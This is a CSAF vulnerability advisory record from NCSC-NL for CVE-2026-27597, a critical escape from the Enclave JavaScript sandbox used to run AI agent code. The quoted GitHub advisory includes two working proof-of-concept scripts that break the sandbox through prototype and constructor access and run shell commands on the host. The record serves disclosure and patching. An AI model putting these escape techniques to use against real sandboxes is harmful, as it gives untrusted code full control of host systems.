{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-27597", "tracking": { "current_release_date": "2026-03-30T03:43:25.106439Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-27597", "initial_release_date": "2026-02-25T04:24:41.807206Z", "revision_history": [ { "date": "2026-02-25T04:24:41.807206Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-02-25T04:24:51.502234Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-02-25T04:38:30.671076Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-02-25T04:38:32.871912Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-02-25T15:13:50.654859Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-02-25T15:13:52.499681Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-02-25T17:39:53.122452Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-02-25T17:39:55.158203Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-02-25T18:21:26.725229Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-02-25T21:39:54.455329Z", "number": "10", "summary": "Unknown change." }, { "date": "2026-02-26T00:56:14.929893Z", "number": "11", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (24).| Products created (1).| References created (4).| CWES updated (1)." }, { "date": "2026-02-27T17:19:05.369933Z", "number": "12", "summary": "NCSC Score updated." }, { "date": "2026-02-27T19:25:28.501396Z", "number": "13", "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-02-27T19:25:30.080145Z", "number": "14", "summary": "NCSC Score updated." }, { "date": "2026-02-28T07:17:35.827898Z", "number": "15", "summary": "NCSC Score updated." }, { "date": "2026-03-03T22:56:21.839261Z", "number": "16", "summary": "EPSS updated." }, { "date": "2026-03-03T22:56:30.159651Z", "number": "17", "summary": "NCSC Score updated." }, { "date": "2026-03-04T03:29:54.182172Z", "number": "18", "summary": "NCSC Score updated." }, { "date": "2026-03-20T09:40:36.132193Z", "number": "19", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-20T09:40:38.231382Z", "number": "20", "summary": "NCSC Score updated." }, { "date": "2026-03-30T03:42:55.262439Z", "number": "21", "summary": "NCSC Score updated." } ], "status": "interim", "version": "21" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/>=0|<2.11.1", "product": { "name": "vers:unknown/>=0|<2.11.1", "product_id": "CSAFPID-5707820" } } ], "category": "product_name", "name": "@enclave-vm/core" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<2.11.1", "product": { "name": "vers:unknown/<2.11.1", "product_id": "CSAFPID-5700888", "product_identification_helper": { "cpe": "cpe:2.3:a:agentfront:enclave:*:*:*:*:*:node.js:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/ast-guard@1.1.0", "product": { "name": "vers:unknown/ast-guard@1.1.0", "product_id": "CSAFPID-5420042" } }, { "category": "product_version_range", "name": "vers:unknown/ast-guard@1.1.1", "product": { "name": "vers:unknown/ast-guard@1.1.1", "product_id": "CSAFPID-5420043" } }, { "category": "product_version_range", "name": "vers:unknown/ast-guard@1.1.2", "product": { "name": "vers:unknown/ast-guard@1.1.2", "product_id": "CSAFPID-5420044" } }, { "category": "product_version_range", "name": "vers:unknown/ast-guard@2.0.0", "product": { "name": "vers:unknown/ast-guard@2.0.0", "product_id": "CSAFPID-5420045" } }, { "category": "product_version_range", "name": "vers:unknown/ast-guard@2.1.0", "product": { "name": "vers:unknown/ast-guard@2.1.0", "product_id": "CSAFPID-5420046" } }, { "category": "product_version_range", "name": "vers:unknown/ast-guard@2.2.0", "product": { "name": "vers:unknown/ast-guard@2.2.0", "product_id": "CSAFPID-5420047" } }, { "category": "product_version_range", "name": "vers:unknown/ast-guard@2.3.0", "product": { "name": "vers:unknown/ast-guard@2.3.0", "product_id": "CSAFPID-5420048" } }, { "category": "product_version_range", "name": "vers:unknown/ast-guard@2.4.0", "product": { "name": "vers:unknown/ast-guard@2.4.0", "product_id": "CSAFPID-5577504" } }, { "category": "product_version_range", "name": "vers:unknown/enclave-vm@1.0.2", "product": { "name": "vers:unknown/enclave-vm@1.0.2", "product_id": "CSAFPID-5420049" } }, { "category": "product_version_range", "name": "vers:unknown/enclave-vm@1.0.3", "product": { "name": "vers:unknown/enclave-vm@1.0.3", "product_id": "CSAFPID-5420050" } }, { "category": "product_version_range", "name": "vers:unknown/enclave-vm@2.0.0", "product": { "name": "vers:unknown/enclave-vm@2.0.0", "product_id": "CSAFPID-5420051" } }, { "category": "product_version_range", "name": "vers:unknown/enclave-vm@2.1.0", "product": { "name": "vers:unknown/enclave-vm@2.1.0", "product_id": "CSAFPID-5420052" } }, { "category": "product_version_range", "name": "vers:unknown/enclave-vm@2.2.0", "product": { "name": "vers:unknown/enclave-vm@2.2.0", "product_id": "CSAFPID-5420053" } }, { "category": "product_version_range", "name": "vers:unknown/enclave-vm@2.3.0", "product": { "name": "vers:unknown/enclave-vm@2.3.0", "product_id": "CSAFPID-5420054" } }, { "category": "product_version_range", "name": "vers:unknown/enclave-vm@2.4.0", "product": { "name": "vers:unknown/enclave-vm@2.4.0", "product_id": "CSAFPID-5420055" } }, { "category": "product_version_range", "name": "vers:unknown/enclave-vm@2.5.0", "product": { "name": "vers:unknown/enclave-vm@2.5.0", "product_id": "CSAFPID-5420056" } }, { "category": "product_version_range", "name": "vers:unknown/enclave-vm@2.6.0", "product": { "name": "vers:unknown/enclave-vm@2.6.0", "product_id": "CSAFPID-5420057" } }, { "category": "product_version_range", "name": "vers:unknown/enclave-vm@2.7.0", "product": { "name": "vers:unknown/enclave-vm@2.7.0", "product_id": "CSAFPID-5577505" } }, { "category": "product_version_range", "name": "vers:unknown/v1.0.0", "product": { "name": "vers:unknown/v1.0.0", "product_id": "CSAFPID-5420058" } }, { "category": "product_version_range", "name": "vers:unknown/v1.1.0", "product": { "name": "vers:unknown/v1.1.0", "product_id": "CSAFPID-5420059" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0", "product": { "name": "vers:unknown/v2.0.0", "product_id": "CSAFPID-5420060" } }, { "category": "product_version_range", "name": "vers:unknown/v2.11.0", "product": { "name": "vers:unknown/v2.11.0", "product_id": "CSAFPID-5723331" } }, { "category": "product_version_range", "name": "vers:unknown/vectoriadb@2.0.0", "product": { "name": "vers:unknown/vectoriadb@2.0.0", "product_id": "CSAFPID-5420061" } }, { "category": "product_version_range", "name": "vers:unknown/vectoriadb@2.0.1", "product": { "name": "vers:unknown/vectoriadb@2.0.1", "product_id": "CSAFPID-5420062" } }, { "category": "product_version_range", "name": "vers:unknown/vectoriadb@2.0.2", "product": { "name": "vers:unknown/vectoriadb@2.0.2", "product_id": "CSAFPID-5420063" } } ], "category": "product_name", "name": "enclave" } ], "category": "vendor", "name": "agentfront" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-27597", "cwe": { "id": "CWE-94", "name": "Improper Control of Generation of Code ('Code Injection')" }, "notes": [ { "category": "description", "text": "Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-27597" }, { "category": "description", "text": "Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-27597" }, { "category": "description", "text": "## Summary\n\nIt is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).\n\nThe issue has been fixed in version **2.11.1**.\n\n---\n\n## Details\n\nIt is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.\n\nWhen a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.\n\nWhen this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).\n\n---\n\n## Proof of Concept\n\n### PoC 1\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n securityLevel: \"SECURE\",\n toolHandler: () => {},\n});\n\nconst result = enclave.run(`\nconst op = {}[[\"__proto__\"]];\nconst ho = op[[\"constructor\"]];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nreturn {\n res: glob.__host_memory_track__.value[[\"constructor\"]](\"return process\")()\n .getBuiltinModule(\"child_process\")\n .execSync(\"id\")\n .toString()\n .split(\"\\\\n\"),\n};`);\n\nresult\n .then((v) => console.log(\"success\", v))\n .catch((e) => console.log(\"failure\", e));\n```\n\n---\n\n### PoC 2\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n securityLevel: \"STRICT\",\n toolHandler: () => {},\n memoryLimit: 0,\n});\n\nconst result = enclave.run(`\nconst op = {}[['__proto__']];\nconst ho = op[['constructor']];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nconst sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');\n\nlet result;\nconst obj = {\n [sym]: (depth, option, inspect) => {\n result = inspect[['constructor']]\n [['constructor']]('return process')()\n .getBuiltinModule('child_process')\n .execSync('id')\n .toString();\n },\n};\n\nglob.__safe_console.value.log(obj);\nreturn { result }\n`);\n\nresult\n .then((v) => console.log(\"success\", v))\n .catch((e) => console.log(\"failure\", e));\n```\n\n---\n\n## Impact\n\nThis vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.\n\nThis constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**.\n\n---\n\n## Remediation\n\nThe issue has been fixed in **v2.11.0** with the following hardening measures:\n\n* Strengthened intrinsic object isolation\n* Improved console isolation\n* Hardened host callback exposure paths\n* Closed AST validation gaps\n* Added additional defensive checks around constructor access and prototype traversal\n\nAll known escape paths demonstrated in the PoCs are now blocked.\n\nUsers are strongly advised to upgrade to **v2.11.1** or later immediately.\n\n---\n\n## Credit\n\nEnclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.", "title": "github - https://github.com/advisories/GHSA-f229-3862-4942" }, { "category": "description", "text": "## Summary\n\nIt is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).\n\nThe issue has been fixed in version **2.11.1**.\n\n---\n\n## Details\n\nIt is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.\n\nWhen a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.\n\nWhen this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).\n\n---\n\n## Proof of Concept\n\n### PoC 1\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n securityLevel: \"SECURE\",\n toolHandler: () => {},\n});\n\nconst result = enclave.run(`\nconst op = {}[[\"__proto__\"]];\nconst ho = op[[\"constructor\"]];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nreturn {\n res: glob.__host_memory_track__.value[[\"constructor\"]](\"return process\")()\n .getBuiltinModule(\"child_process\")\n .execSync(\"id\")\n .toString()\n .split(\"\\\\n\"),\n};`);\n\nresult\n .then((v) => console.log(\"success\", v))\n .catch((e) => console.log(\"failure\", e));\n```\n\n---\n\n### PoC 2\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n securityLevel: \"STRICT\",\n toolHandler: () => {},\n memoryLimit: 0,\n});\n\nconst result = enclave.run(`\nconst op = {}[['__proto__']];\nconst ho = op[['constructor']];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nconst sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');\n\nlet result;\nconst obj = {\n [sym]: (depth, option, inspect) => {\n result = inspect[['constructor']]\n [['constructor']]('return process')()\n .getBuiltinModule('child_process')\n .execSync('id')\n .toString();\n },\n};\n\nglob.__safe_console.value.log(obj);\nreturn { result }\n`);\n\nresult\n .then((v) => console.log(\"success\", v))\n .catch((e) => console.log(\"failure\", e));\n```\n\n---\n\n## Impact\n\nThis vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.\n\nThis constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**.\n\n---\n\n## Remediation\n\nThe issue has been fixed in **v2.11.0** with the following hardening measures:\n\n* Strengthened intrinsic object isolation\n* Improved console isolation\n* Hardened host callback exposure paths\n* Closed AST validation gaps\n* Added additional defensive checks around constructor access and prototype traversal\n\nAll known escape paths demonstrated in the PoCs are now blocked.\n\nUsers are strongly advised to upgrade to **v2.11.1** or later immediately.\n\n---\n\n## Credit\n\nEnclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-f229-3862-4942.json?alt=media" }, { "category": "description", "text": "Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27597.json?alt=media" }, { "category": "other", "text": "0.00502", "title": "EPSS" }, { "category": "other", "text": "4.9", "title": "NCSC Score" }, { "category": "other", "text": "There is product data available from a private source, There is cvss data available from a private source, There is product data available from source Cveprojectv5", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "Exploit code publicly available, There is exploit data available from source Nvd, The value of the most recent CVSS (V3) score", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5700888", "CSAFPID-5707820", "CSAFPID-5420042", "CSAFPID-5420043", "CSAFPID-5420044", "CSAFPID-5420045", "CSAFPID-5420046", "CSAFPID-5420047", "CSAFPID-5420048", "CSAFPID-5420049", "CSAFPID-5420050", "CSAFPID-5420051", "CSAFPID-5420052", "CSAFPID-5420053", "CSAFPID-5420054", "CSAFPID-5420055", "CSAFPID-5420056", "CSAFPID-5420057", "CSAFPID-5420058", "CSAFPID-5420059", "CSAFPID-5420060", "CSAFPID-5420061", "CSAFPID-5420062", "CSAFPID-5420063", "CSAFPID-5577504", "CSAFPID-5577505", "CSAFPID-5723331" ] }, "references": [ { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27597" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27597" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-27597" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/27xxx/CVE-2026-27597.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27597" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-f229-3862-4942" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-f229-3862-4942" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-f229-3862-4942.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27597.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Reference - cveprojectv5; nvd; osv", "url": "https://github.com/agentfront/enclave/commit/09afbebe4cb6d0586c1145aa71ffabd2103932db" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/agentfront/enclave/security/advisories/GHSA-f229-3862-4942" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27597" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-f229-3862-4942" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27597.json" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL" }, "products": [ "CSAFPID-5420042", "CSAFPID-5420043", "CSAFPID-5420044", "CSAFPID-5420045", "CSAFPID-5420046", "CSAFPID-5420047", "CSAFPID-5420048", "CSAFPID-5420049", "CSAFPID-5420050", "CSAFPID-5420051", "CSAFPID-5420052", "CSAFPID-5420053", "CSAFPID-5420054", "CSAFPID-5420055", "CSAFPID-5420056", "CSAFPID-5420057", "CSAFPID-5420058", "CSAFPID-5420059", "CSAFPID-5420060", "CSAFPID-5420061", "CSAFPID-5420062", "CSAFPID-5420063", "CSAFPID-5577504", "CSAFPID-5577505", "CSAFPID-5700888", "CSAFPID-5707820", "CSAFPID-5723331" ] } ], "title": "CVE-2026-27597" } ] }